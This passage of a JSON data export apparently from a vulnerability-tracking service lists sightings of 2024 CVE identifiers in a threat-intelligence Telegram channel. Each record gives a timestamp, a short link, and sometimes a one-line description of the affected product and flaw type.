"14eb8bb4-44c6-4182-ba55-95218bb859f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2285", "type": "seen", "source": "https://t.me/ctinow/203028", "content": "https://ift.tt/HEj9De4\nCVE-2024-2285", "creation_timestamp": "2024-03-08T04:26:11.000000Z"}, {"uuid": "6236c425-7e83-4d89-9bdb-392675ff409b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2284", "type": "seen", "source": "https://t.me/ctinow/203027", "content": "https://ift.tt/aJkKRWU\nCVE-2024-2284", "creation_timestamp": "2024-03-08T04:26:10.000000Z"}, {"uuid": "e8d8b1f3-4ab7-4eb7-b2e8-be779f0bfae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2264", "type": "seen", "source": "https://t.me/ctinow/202526", "content": "https://ift.tt/9z5VRlj\nCVE-2024-2264 | keerti1924 PHP-MYSQL-User-Login-System 1.0 /login.php email sql injection", "creation_timestamp": "2024-03-07T16:12:05.000000Z"}, {"uuid": "a588c22d-0bab-4334-9d9f-feb6965f9954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2272", "type": "seen", "source": "https://t.me/ctinow/202525", "content": "https://ift.tt/7C4BkLD\nCVE-2024-2272 | keerti1924 Online-Book-Store-Website 1.0 HTTP POST Request /home.php product_name sql injection", "creation_timestamp": "2024-03-07T16:12:04.000000Z"}, {"uuid": "1e13c109-a807-4cd8-8a47-1bf6aaf1c5d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2271", "type": "seen", "source": "https://t.me/ctinow/202524", "content": "https://ift.tt/AxOMruk\nCVE-2024-2271 | keerti1924 Online-Book-Store-Website 1.0 HTTP POST Request /shop.php product_name sql injection", "creation_timestamp": "2024-03-07T16:12:03.000000Z"}, {"uuid": "e31b4b1f-985e-48b1-aadd-3b65e5fa7aeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2270", "type": "seen", "source": "https://t.me/ctinow/202523", "content": "https://ift.tt/gi6Ya28\nCVE-2024-2270 | keerti1924 Online-Book-Store-Website 1.0 /signup.php name cross site scripting", "creation_timestamp": "2024-03-07T16:12:01.000000Z"}, {"uuid": "74be87b2-53de-4484-b0ea-21a4f5826ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2269", "type": "seen", "source": "https://t.me/ctinow/202522", "content": "https://ift.tt/Wdu1SZs\nCVE-2024-2269 | keerti1924 Online-Book-Store-Website 1.0 /search.php search sql injection", "creation_timestamp": "2024-03-07T16:11:57.000000Z"}, {"uuid": "72eed96f-b54b-4921-9b4e-c8d5e5b8cbd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2298", "type": "seen", "source": "https://t.me/ctinow/203139", "content": "https://ift.tt/J8Tglqk\nCVE-2024-2298", "creation_timestamp": "2024-03-08T08:26:43.000000Z"}, {"uuid": "ee1cb513-5fb1-4c34-999c-e5ae4ee3b197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2270", "type": "seen", "source": "https://t.me/ctinow/202912", "content": "https://ift.tt/xe6UIwK\nCVE-2024-2270", "creation_timestamp": "2024-03-08T00:27:06.000000Z"}, {"uuid": "de79c368-ef8c-4cd7-856e-b92945fbf78a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2269", "type": "seen", "source": "https://t.me/ctinow/202911", "content": "https://ift.tt/GKiH9bo\nCVE-2024-2269", "creation_timestamp": "2024-03-08T00:27:05.000000Z"}, {"uuid": "257b2445-669b-4a6c-8bf9-81a9de2e1398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2284", "type": "seen", "source": "https://t.me/ctinow/203077", "content": "https://ift.tt/pt20Cql\nCVE-2024-2284 | boyiddha Automated-Mess-Management-System 1.0 Chat Book /member/chat.php msg cross site scripting", "creation_timestamp": "2024-03-08T06:51:54.000000Z"}, {"uuid": "f88571a1-9437-462c-976d-ef983327a31a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2282", "type": "seen", "source": "https://t.me/ctinow/203076", "content": "https://ift.tt/miJjh8X\nCVE-2024-2282 | boyiddha Automated-Mess-Management-System 1.0 Login Page /index.php useremail sql injection", "creation_timestamp": "2024-03-08T06:51:53.000000Z"}, {"uuid": "54b7da3d-159f-4f9b-a2e8-80fe6124e04f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2283", "type": "seen", "source": "https://t.me/ctinow/203075", "content": "https://ift.tt/WviJtrn\nCVE-2024-2283 | boyiddha Automated-Mess-Management-System 1.0 /member/view.php date sql injection", "creation_timestamp": "2024-03-08T06:51:52.000000Z"}, {"uuid": "17c4a254-1523-4c61-8660-417031222af5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2285", "type": "seen", "source": "https://t.me/ctinow/203034", "content": "https://ift.tt/HEj9De4\nCVE-2024-2285", "creation_timestamp": "2024-03-08T04:26:17.000000Z"}, {"uuid": "a012d95e-8729-4b5b-a8cd-0f8ecafb8d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2264", "type": "seen", "source": "https://t.me/ctinow/202844", "content": "https://ift.tt/ksXhxA5\nCVE-2024-2264", "creation_timestamp": "2024-03-07T22:27:09.000000Z"}, {"uuid": "9bbb41d7-a9b6-4e0c-868d-927bc9fc6d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22234", "type": "seen", "source": "https://t.me/ctinow/208640", "content": "https://ift.tt/oICwzRG\nCVE-2024-22234 Spring Security Vulnerability in NetApp Products", "creation_timestamp": "2024-03-15T11:26:47.000000Z"}, {"uuid": "196b6f84-dd8b-42f3-8648-2469eb41e2b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://t.me/ctinow/208639", "content": "https://ift.tt/eM9Q6Rf\nCVE-2024-22019 Node.js Vulnerability in NetApp Products", "creation_timestamp": "2024-03-15T11:26:47.000000Z"}, {"uuid": "c3cbb0c1-5f06-43fe-a5dc-5add7c9afdf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2256", "type": "seen", "source": "https://t.me/ctinow/208217", "content": "https://ift.tt/NehbK4w\nCVE-2024-2256", "creation_timestamp": "2024-03-14T22:21:50.000000Z"}, {"uuid": "a2ec9f01-1af3-41cf-8785-44f56980244b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22857", "type": "seen", "source": "https://t.me/ctinow/208329", "content": "https://ift.tt/YDSNjwL\nCVE-2024-22857 | Zlog heap-based overflow", "creation_timestamp": "2024-03-15T01:31:50.000000Z"}, {"uuid": "ecdfcf4a-ec26-433d-a9fe-d9c03c8c7c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2249", "type": "seen", "source": "https://t.me/ctinow/208272", "content": "https://ift.tt/Cahm85Y\nCVE-2024-2249", "creation_timestamp": "2024-03-14T23:21:45.000000Z"}, {"uuid": "7537c91c-3591-4f75-be05-a18ad99ccffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2256", "type": "seen", "source": "https://t.me/ctinow/208224", "content": "https://ift.tt/NehbK4w\nCVE-2024-2256", "creation_timestamp": "2024-03-14T22:26:29.000000Z"}, {"uuid": "fb7c0c61-2dc8-470c-a1d3-9b4b065517c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22119", "type": "seen", "source": "https://t.me/ctinow/198462", "content": "https://ift.tt/mjTvSCE\nCVE-2024-22119 | Zabbix up to 5.0.39/6.0.23/6.4.8/7.0.0alpha7 Graph Page Name input validation", "creation_timestamp": "2024-03-02T20:16:52.000000Z"}, {"uuid": "b3c950b1-74d5-4413-a81a-ccd243893307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2204", "type": "seen", "source": "https://t.me/ctinow/208434", "content": "https://ift.tt/DWe8gHi\nCVE-2024-2204", "creation_timestamp": "2024-03-15T06:26:14.000000Z"}, {"uuid": "fc096e9e-0c44-4c2c-b1ec-9f867e9d47a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2204", "type": "seen", "source": "https://t.me/ctinow/208432", "content": "https://ift.tt/DWe8gHi\nCVE-2024-2204", "creation_timestamp": "2024-03-15T06:22:05.000000Z"}, {"uuid": "eca0021f-7b02-4766-8076-06748d8aaef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2249", "type": "seen", "source": "https://t.me/ctinow/208280", "content": "https://ift.tt/Cahm85Y\nCVE-2024-2249", "creation_timestamp": "2024-03-14T23:26:10.000000Z"}, {"uuid": "c530a5c3-97bc-4be2-b005-a224ebad1306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22361", "type": "seen", "source": "https://t.me/ctinow/198713", "content": "https://ift.tt/EW64kho\nCVE-2024-22361 | IBM Semeru Runtime up to 8.0.392.0/11.0.21.0/17.0.9.0/21.0.1.0 risky encryption (XFDB-281222)", "creation_timestamp": "2024-03-03T13:11:33.000000Z"}, {"uuid": "0f2b6b9a-d094-422e-addf-43a7b8e56b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22454", "type": "seen", "source": "https://t.me/ctinow/199057", "content": "https://ift.tt/gLTCS5l\nCVE-2024-22454 | Dell PowerProtect Data Manager up to 19.15 password recovery (dsa-2024-061)", "creation_timestamp": "2024-03-04T08:11:40.000000Z"}, {"uuid": "dcd07160-a23f-4608-b2b2-b36e118850ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22445", "type": "seen", "source": "https://t.me/ctinow/199045", "content": "https://ift.tt/CyuHAb9\nCVE-2024-22445 | Dell PowerProtect Data Manager up to 19.15 os command injection (dsa-2024-061)", "creation_timestamp": "2024-03-04T07:41:23.000000Z"}, {"uuid": "81a166c4-c0eb-44cd-b815-edee9bb76a98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22221", "type": "seen", "source": "https://t.me/ctinow/198805", "content": "https://ift.tt/droTg7k\nCVE-2024-22221 | Dell Unity up to 5.3 sql injection (dsa-2024-042)", "creation_timestamp": "2024-03-03T16:21:52.000000Z"}, {"uuid": "da079b8d-27b0-4811-8ca9-667fe3c4b840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22939", "type": "seen", "source": "https://t.me/ctinow/196124", "content": "https://ift.tt/cmixpFh\nCVE-2024-22939", "creation_timestamp": "2024-02-29T03:02:53.000000Z"}, {"uuid": "a060b493-4518-48c9-bdd3-24262bcf10fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22936", "type": "seen", "source": "https://t.me/ctinow/196123", "content": "https://ift.tt/LePEDkQ\nCVE-2024-22936", "creation_timestamp": "2024-02-29T03:02:52.000000Z"}, {"uuid": "a1a85e41-2408-465b-b584-4a9104b35f3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ctinow/198853", "content": "https://ift.tt/TyKsQiJ\nCVE-2024-22024 | Ivanti Connect Secure/Policy Secure SAML xml external entity reference", "creation_timestamp": "2024-03-03T18:16:38.000000Z"}, {"uuid": "8aedc6bd-4e39-4be6-9de5-3cf663adf128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22464", "type": "seen", "source": "https://t.me/ctinow/198303", "content": "https://ift.tt/Hj8ZypM\nCVE-2024-22464 | Dell EMC AppSync up to 4.6.0.0 log file (dsa-2024-072)", "creation_timestamp": "2024-03-02T10:11:59.000000Z"}, {"uuid": "013bd013-4642-47e6-96e8-ce33322c5cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22857", "type": "seen", "source": "https://t.me/ctinow/202000", "content": "https://ift.tt/CQZMAmz\nCVE-2024-22857", "creation_timestamp": "2024-03-07T02:26:59.000000Z"}, {"uuid": "3082d1d5-1322-4c06-b690-6fe40d2f871b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22230", "type": "seen", "source": "https://t.me/ctinow/198807", "content": "https://ift.tt/A3Mq9lK\nCVE-2024-22230 | Dell Unity up to 5.3 cross site scripting (dsa-2024-042)", "creation_timestamp": "2024-03-03T16:21:54.000000Z"}, {"uuid": "7c7ac889-8cf0-4b39-8033-d7aea125340d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22226", "type": "seen", "source": "https://t.me/ctinow/198806", "content": "https://ift.tt/vnPIVoO\nCVE-2024-22226 | Dell Unity up to 5.3 svc_supportassist path traversal (dsa-2024-042)", "creation_timestamp": "2024-03-03T16:21:53.000000Z"}, {"uuid": "f465a96d-1862-4c5a-aebb-bbeb9e372f68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22355", "type": "seen", "source": "https://t.me/ctinow/198746", "content": "https://ift.tt/Fmflnhu\nCVE-2024-22355", "creation_timestamp": "2024-03-03T14:31:32.000000Z"}, {"uuid": "7b240cdc-e9cc-465b-ae72-29dc44165e1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22355", "type": "seen", "source": "https://t.me/ctinow/198742", "content": "https://ift.tt/Fmflnhu\nCVE-2024-22355", "creation_timestamp": "2024-03-03T14:26:40.000000Z"}, {"uuid": "dd92eeb1-9d0e-4ca9-9935-d592aaa5782c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "seen", "source": "https://t.me/ctinow/197758", "content": "https://ift.tt/LbJa7MQ\nCVE-2024-22515 | iSpyConnect Agent DVR 5.1.6.0 Upload Audio unrestricted upload", "creation_timestamp": "2024-03-01T16:16:39.000000Z"}, {"uuid": "948cbd69-e020-4cb7-ad5c-9cdac452ae57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22519", "type": "seen", "source": "https://t.me/ctinow/197739", "content": "https://ift.tt/Oj3ztPl\nCVE-2024-22519 | OpenDroneID OSM 3.5.1 Data Packet authentication spoofing", "creation_timestamp": "2024-03-01T15:46:10.000000Z"}, {"uuid": "62d393ea-a049-4f88-927c-e80615d11482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22520", "type": "seen", "source": "https://t.me/ctinow/197738", "content": "https://ift.tt/UDGI4bc\nCVE-2024-22520 | Dronetag Drone Scanner 1.5.2 Data Packet authentication spoofing", "creation_timestamp": "2024-03-01T15:46:09.000000Z"}, {"uuid": "b2b12af3-1bf8-4864-826e-8ac4f4e181b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22312", "type": "seen", "source": "https://t.me/ctinow/198726", "content": "https://ift.tt/XnDoI9m\nCVE-2024-22312 | IBM Storage Defender 2.0 Resiliency Service credentials storage (XFDB-278748)", "creation_timestamp": "2024-03-03T13:47:00.000000Z"}, {"uuid": "1db30025-bf7a-4aac-a438-82e6cdbbf83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22318", "type": "seen", "source": "https://t.me/ctinow/198386", "content": "https://ift.tt/ITgnf4W\nCVE-2024-22318 | IBM i Access Client Solutions up to 1.1.4/1.1.9.4 ACS Configuration File information disclosure (ID 177069 / XFDB-279091)", "creation_timestamp": "2024-03-02T15:16:45.000000Z"}, {"uuid": "93c9018c-261d-4f5b-80e1-6ef0e5cec2a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22795", "type": "seen", "source": "https://t.me/ctinow/198380", "content": "https://ift.tt/o032IJi\nCVE-2024-22795 | Forescout SecureConnector 11.3.06.0063 Recheck Compliance Status permission", "creation_timestamp": "2024-03-02T14:46:49.000000Z"}, {"uuid": "bf309b6d-78f2-4f0e-864e-3f7215e578ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22836", "type": "seen", "source": "https://t.me/ctinow/198379", "content": "https://ift.tt/08pb4fY\nCVE-2024-22836 | Akaunting up to 3.1.3 Company Locale os command injection", "creation_timestamp": "2024-03-02T14:46:48.000000Z"}, {"uuid": "2d84a61f-3e56-4a2b-b85f-17367b74c210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22313", "type": "seen", "source": "https://t.me/ctinow/198724", "content": "https://ift.tt/MYS8usQ\nCVE-2024-22313 | IBM Storage Defender 2.0 Resiliency Service hard-coded credentials (XFDB-278749)", "creation_timestamp": "2024-03-03T13:46:58.000000Z"}, {"uuid": "1b89f534-3424-4226-9cbf-0bb4b531161f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22532", "type": "seen", "source": "https://t.me/ctinow/198670", "content": "https://ift.tt/teDvZHU\nCVE-2024-22532 | Steinbeis Allegra serveMathJaxLibraries path traversal", "creation_timestamp": "2024-03-03T10:46:27.000000Z"}, {"uuid": "a90ede14-d2b4-4399-abe9-705b37686351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22182", "type": "seen", "source": "https://t.me/ctinow/198045", "content": "https://ift.tt/TsZBedL\nCVE-2024-22182", "creation_timestamp": "2024-03-01T22:31:49.000000Z"}, {"uuid": "f000d207-c820-42bb-955e-40d560fc4a9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22100", "type": "seen", "source": "https://t.me/ctinow/197222", "content": "https://ift.tt/sIakUzR\nCVE-2024-22100", "creation_timestamp": "2024-03-01T02:26:40.000000Z"}, {"uuid": "b2007bce-1ba9-4460-8ab0-d972634939ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2245", "type": "seen", "source": "https://t.me/ctinow/202426", "content": "https://ift.tt/ePcC6u5\nCVE-2024-2245", "creation_timestamp": "2024-03-07T14:26:39.000000Z"}, {"uuid": "35734314-6516-460f-b72d-1471fcd12cb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2241", "type": "seen", "source": "https://t.me/ctinow/202425", "content": "https://ift.tt/gaofwu5\nCVE-2024-2241", "creation_timestamp": "2024-03-07T14:26:38.000000Z"}, {"uuid": "0a581fff-c39f-43a8-908f-0632d5481fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22543", "type": "seen", "source": "https://t.me/ctinow/193925", "content": "https://ift.tt/pMORZYN\nCVE-2024-22543", "creation_timestamp": "2024-02-27T02:26:33.000000Z"}, {"uuid": "3223d213-aef4-47ba-bdea-83dc4b95f48f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22182", "type": "seen", "source": "https://t.me/ctinow/198036", "content": "https://ift.tt/TsZBedL\nCVE-2024-22182", "creation_timestamp": "2024-03-01T22:31:40.000000Z"}, {"uuid": "16d76db8-ada8-4879-a989-ca7e1885254c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22331", "type": "seen", "source": "https://t.me/ctinow/197486", "content": "https://ift.tt/clrZ0kU\nCVE-2024-22331 | IBM UrbanCode Deploy/DevOps Deploy Windows Agent Installation information disclosure (XFDB-279971)", "creation_timestamp": "2024-03-01T10:46:16.000000Z"}, {"uuid": "eb172388-7688-48d5-9837-0e07e8a22134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22752", "type": "seen", "source": "https://t.me/ctinow/202702", "content": "https://ift.tt/z01EURm\nCVE-2024-22752", "creation_timestamp": "2024-03-07T19:27:16.000000Z"}, {"uuid": "f5145aec-3fbf-4117-bf6e-0a6eb0f9978c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22752", "type": "seen", "source": "https://t.me/ctinow/202700", "content": "https://ift.tt/z01EURm\nCVE-2024-22752", "creation_timestamp": "2024-03-07T19:27:14.000000Z"}, {"uuid": "d1b1c90b-e6f8-4d9c-ad68-12caf32dc3c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22012", "type": "seen", "source": "https://t.me/ctinow/197976", "content": "https://ift.tt/0Rjho9b\nCVE-2024-22012 | Google Android kernel out-of-bounds write", "creation_timestamp": "2024-03-01T20:46:43.000000Z"}, {"uuid": "0f887299-3498-4ff2-a615-090124296d07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "seen", "source": "https://t.me/ctinow/197737", "content": "https://ift.tt/X3n9Vak\nCVE-2024-22514 | iSpyConnect Agent DVR 5.1.6.0 Backup File Restore path traversal", "creation_timestamp": "2024-03-01T15:46:07.000000Z"}, {"uuid": "401b221d-1a31-4127-9b5e-c323f83943a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22022", "type": "seen", "source": "https://t.me/ctinow/197694", "content": "https://ift.tt/IzyncgY\nCVE-2024-22022 | Veeam Recovery Orchestrator/Availability Orchestrator access control", "creation_timestamp": "2024-03-01T15:16:53.000000Z"}, {"uuid": "4d0e9ce9-028e-424d-82e2-eeb1e93543c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22021", "type": "seen", "source": "https://t.me/ctinow/197692", "content": "https://ift.tt/0zst1Cb\nCVE-2024-22021 | Veeam Recovery Orchestrator Plan information disclosure", "creation_timestamp": "2024-03-01T15:16:50.000000Z"}, {"uuid": "9e832c5a-0f8d-409b-b047-c0d91eb06721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22388", "type": "seen", "source": "https://t.me/ctinow/197659", "content": "https://ift.tt/fKdQaBC\nCVE-2024-22388 | HID Global iCLASS SE/OMNIKEY Encoder Configuration improper authorization (icsa-24-037-01)", "creation_timestamp": "2024-03-01T14:46:48.000000Z"}, {"uuid": "eaa8a936-130d-4ce5-ad9b-f895d30bcb60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22458", "type": "seen", "source": "https://t.me/ctinow/197558", "content": "https://ift.tt/oZESfuO\nCVE-2024-22458", "creation_timestamp": "2024-03-01T12:32:01.000000Z"}, {"uuid": "d8d09de1-d414-44b2-bc11-d8c251ab8452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22457", "type": "seen", "source": "https://t.me/ctinow/197557", "content": "https://ift.tt/8VjxAzv\nCVE-2024-22457", "creation_timestamp": "2024-03-01T12:31:57.000000Z"}, {"uuid": "61541fad-def6-4937-be1d-9a63f13d691b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22458", "type": "seen", "source": "https://t.me/ctinow/197554", "content": "https://ift.tt/oZESfuO\nCVE-2024-22458", "creation_timestamp": "2024-03-01T12:31:54.000000Z"}, {"uuid": "58f1c56e-9229-4fe7-a36b-cad63b060826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22457", "type": "seen", "source": "https://t.me/ctinow/197553", "content": "https://ift.tt/8VjxAzv\nCVE-2024-22457", "creation_timestamp": "2024-03-01T12:31:53.000000Z"}, {"uuid": "f6cc800d-bffd-4b3c-b168-b24007cc16a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22100", "type": "seen", "source": "https://t.me/ctinow/197226", "content": "https://ift.tt/sIakUzR\nCVE-2024-22100", "creation_timestamp": "2024-03-01T02:31:10.000000Z"}, {"uuid": "fcae769a-8127-40c4-b952-a9ec036a2b2b", "vulnerability_lookup_origin": 